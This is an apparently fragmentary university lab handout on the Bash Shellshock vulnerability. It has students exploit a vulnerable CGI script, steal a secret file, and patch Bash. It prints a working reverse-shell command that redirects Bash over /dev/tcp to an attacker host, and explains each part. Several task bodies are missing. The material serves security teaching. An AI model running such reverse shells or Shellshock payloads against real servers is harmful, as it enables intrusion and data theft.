Shellshock Attack Lab
Shellshock Attack Lab
1 Overview
On September 24, 2014, a severe vulnerability in Bash was identified. Nicknamed Shellshock, this vul-
nerability can exploit many systems and be launched either remotely or from a local machine. In this lab,
students need to work on this attack, so they can understand the Shellshock vulnerability. The learning
objective of this lab is for students to get a first-hand experience on this interesting attack, understand how
it works, and think about the lessons that we can get out of this attack. This lab covers the following topics:
• Shellshock
• Environment variables
• Function definition in Bash
• Apache and CGI programs
Readings. Detailed coverage of the Shellshock attack can be found in Chapter 3 of the SEED book,
Computer Security: A Hands-on Approach, by Wenliang Du.
Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded
from Blackboard.
2 Lab Tasks
2.1 Task 1: Experimenting with Bash Function
The Bash program in Ubuntu 16.04 has already been patched, so it is no longer vulnerable to the Shellshock
attack. For the purpose of this lab, we have installed a vulnerable version of Bash inside the /bin folder;
its name is bash shellshock. We need to use this Bash in our task. Please run this vulnerable version
of Bash like the following and then design an experiment to verify whether this Bash is vulnerable to the
Shellshock attack or not.
$ /bin/bash_shellshock
Try the same experiment on the patched version of bash (/bin/bash) and report your observations.
CGI programs are written using shell scripts. Therefore, before a CGI program is executed, a shell program
will be invoked first, and such an invocation is triggered by a user from a remote computer. If the shell
program is a vulnerable Bash program, we can exploit the Shellshock vulnerable to gain privileges on the
server.
In this task, we will set up a very simple CGI program (called myprog.cgi) like the following. It
simply prints out "Hello World" using a shell script.
#!/bin/bash_shellshock À
Please make sure you use /bin/bash shellshock in Line À, instead of using /bin/bash. The
line specifies what shell program should be invoked to run the script. We do need to use the vulnerable
Bash in this lab. Please place the above CGI program in the /usr/lib/cgi-bin directory and set its
permission to 755 (so it is executable). You need to use the root privilege to do these, as the folder is only
writable by the root. This folder is the default CGI directory for the Apache web server.
To access this CGI program from the Web, you can either use a browser by typing the following URL:
http://localhost/cgi-bin/myprog.cgi, or use the following command line program curl to
do the same thing:
$ curl http://localhost/cgi-bin/myprog.cgi
In our setup, we run the Web server and the attack from the same computer, and that is why we use
localhost. In real attacks, the server is running on a remote machine, and instead of using localhost,
we use the hostname or the IP address of the server.
In the code above, Line À prints out the contents of all the environment variables in the current process.
If your experiment is successful, you should be able to see your data string in the page that you get back from
the server. In your report, please explain how the data from a remote user can get into those environment
variables.
601.443/643 – Shellshock Attack Lab 3
• Using the Shellshock attack to steal the content of a secret file from the server.
• Answer the following question: will you be able to steal the content of the shadow file /etc/shadow?
Why or why not?
Index: bash-4.2/builtins/common.h
===================================================================
--- bash-4.2.orig/builtins/common.h 2010-05-30 18:31:51.000000000 -0400
+++ bash-4.2/builtins/common.h 2014-09-22 15:30:40.372413446 -0400
@@ -35,6 +35,8 @@
#define SEVAL_NOLONGJMP 0x040
{
@@ -361,10 +359,6 @@
}
else
report_error (_("error importing function definition for ‘%s’"), name);
-
- /* ( */
- if (name[char_index - 1] == ’)’ && name[char_index - 2] == ’\0’)
- name[char_index - 2] = ’(’; /* ) */
}
#if defined (ARRAY_VARS)
# if 0
Next, download the bash-4.2 tarball and patch available on Blackboard. Note the directory you
downloaded it, which we will assume to be /home/seed/bash-4.2. Then, apply the patch to the
downloaded version of Bash using the patch command. Use the instructions in the INSTALL document
inside the tarball to compile the program. Make sure you do not run make install, as this will overwrite
the correct version of Bash found in your VM. Make sure you note any issues that arise with compiling in
your lab report, and include screenshots of your compilation and patching process.
If you applied the patch properly, the program /home/seed/bash-4.2/bash is a patched version
of Bash. Please replace the first line of your CGI programs with this program. Redo Tasks 3 and 5 and
describe your observations.
The above nc command will block, waiting for a connection. We now directly run the following bash
program on the Server machine (10.0.2.5) to emulate what attackers would run after compromising
the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker
machine’s port 9090, and a reverse shell will be created. We can see the shell prompt from the above result,
601.443/643 – Shellshock Attack Lab 6
indicating that the shell is running on the Server machine; we can type the ifconfig command to verify
that the IP address is indeed 10.0.2.5, the one belonging to the Server machine. Here is the bash
command:
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
The above command represents the one that would normally be executed on a compromised server. It is
quite complicated, and we give a detailed explanation in the following:
• "/bin/bash -i": The option i stands for interactive, meaning that the shell must be interactive
(must provide a shell prompt).
• "> /dev/tcp/10.0.2.6/9090": This causes the output device (stdout) of the shell to be
redirected to the TCP connection to 10.0.2.6’s port 9090. In Unix systems, stdout’s file
descriptor is 1.
• "0<&1": File descriptor 0 represents the standard input device (stdin). This option tells the system
to use the standard output device as the stardard input device. Since stdout is already redirected to
the TCP connection, this option basically indicates that the shell program will get its input from the
same TCP connection.
• "2>&1": File descriptor 2 represents the standard error stderr. This causes the error output to be
redirected to stdout, which is the TCP connection.
4 Submission
You need to submit a detailed lab report, with screenshots, to describe what you have done and what you
have observed. You also need to provide explanation to the observations that are interesting or surprising.
Please also list the important code snippets followed by explanation. Simply attaching code without any
explanation will not receive credit.
Writing in clear, concise English is a part of the exercise (and the grade). Make sure you describe, step-
by-step, your process. We want to be able to recreate your results by following your steps exactly. Logical
leaps between steps will result in point deductions. Do not be afraid to include issues you faced, and how
you solved them. Note that you must answer all questions in paragraph form for full credit. Look at the
example report on Blackboard for an idea of what we are expecting.
When you are ready to submit your lab report, upload it to Gradescope as a single PDF including all
parts. DOCX and other formats will not be accepted. Make sure you select your partner on Gradescope if
applicable: only one submission between the two of you is necessary.